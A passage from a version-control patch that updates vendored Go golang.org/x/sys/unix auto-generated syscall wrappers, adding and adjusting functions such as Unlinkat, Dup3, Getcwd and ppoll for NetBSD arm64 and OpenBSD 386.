-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1257,6 +1747,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go
-similarity index 92%
-copy from vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go
-index ac1e8e01..24b4ebb4 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags freebsd,amd64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_amd64.go
-+// go run mksyscall.go -netbsd -tags netbsd,arm64 syscall_bsd.go syscall_netbsd.go syscall_netbsd_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build freebsd,amd64
-+// +build netbsd,arm64
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,10 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-+func pipe() (fd1 int, fd2 int, err error) {
- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+ fd1 = int(r0)
-+ fd2 = int(r1)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,8 +362,15 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,13 +379,15 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Access(path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -403,8 +396,8 @@ func Access(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -413,8 +406,14 @@ func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func CapEnter() (err error) {
-- _, _, e1 := Syscall(SYS_CAP_ENTER, 0, 0, 0)
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -423,8 +422,13 @@ func CapEnter() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func capRightsGet(version int, fd int, rightsp *CapRights) (err error) {
-- _, _, e1 := Syscall(SYS___CAP_RIGHTS_GET, uintptr(version), uintptr(fd), uintptr(unsafe.Pointer(rightsp)))
-+func Access(path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -433,8 +437,8 @@ func capRightsGet(version int, fd int, rightsp *CapRights) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func capRightsLimit(fd int, rightsp *CapRights) (err error) {
-- _, _, e1 := Syscall(SYS_CAP_RIGHTS_LIMIT, uintptr(fd), uintptr(unsafe.Pointer(rightsp)), 0)
-+func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-+ _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -549,6 +553,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -770,8 +784,13 @@ func ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-- _, _, e1 := Syscall6(SYS_POSIX_FADVISE, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -780,13 +799,8 @@ func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_POSIX_FADVISE, uintptr(fd), 0, uintptr(offset), 0, uintptr(length), uintptr(advice))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -896,8 +910,13 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -906,8 +925,8 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-+func Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATVFS1, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -916,8 +935,8 @@ func Fsync(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -926,15 +945,8 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-+func Ftruncate(fd int, length int64) (err error) {
-+ _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -943,14 +955,6 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-- size = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getegid() (egid int) {
- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
-@@ -1224,6 +1228,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1239,6 +1258,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1265,13 +1299,13 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Openat(fdat int, path string, mode int, perm uint32) (fd int, err error) {
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(fdat), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1304,7 +1338,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1321,7 +1355,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1463,7 +1497,7 @@ func Rmdir(path string) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ r0, _, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0)
- newoffset = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1473,8 +1507,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1513,21 +1548,6 @@ func Setgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setlogin(name string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(name)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Setpgid(pid int, pgid int) (err error) {
- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
-@@ -1568,26 +1588,6 @@ func Setreuid(ruid int, euid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setresgid(rgid int, egid int, sgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setresuid(ruid int, euid int, suid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Setrlimit(which int, lim *Rlimit) (err error) {
- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
-@@ -1644,13 +1644,13 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func Statvfs1(path string, buf *Statvfs_t, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_STATVFS1, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1715,7 +1715,7 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1732,21 +1732,6 @@ func Umask(newmask int) (oldmask int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Undelete(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Unlink(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1810,7 +1795,7 @@ func write(fd int, p []byte) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
-+ r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0)
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1852,17 +1837,6 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func accept4(fd int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (nfd int, err error) {
-- r0, _, e1 := Syscall6(SYS_ACCEPT4, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), uintptr(flags), 0, 0)
-- nfd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
-index 7baea87c..b44b31ae 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -openbsd -tags openbsd,386 syscall_bsd.go syscall_openbsd.go syscall_openbsd_386.go
-+// go run mksyscall.go -l32 -openbsd -tags openbsd,386 syscall_bsd.go syscall_openbsd.go syscall_openbsd_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build openbsd,386
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -376,7 +360,7 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -393,6 +377,60 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -524,6 +562,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -531,6 +579,21 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
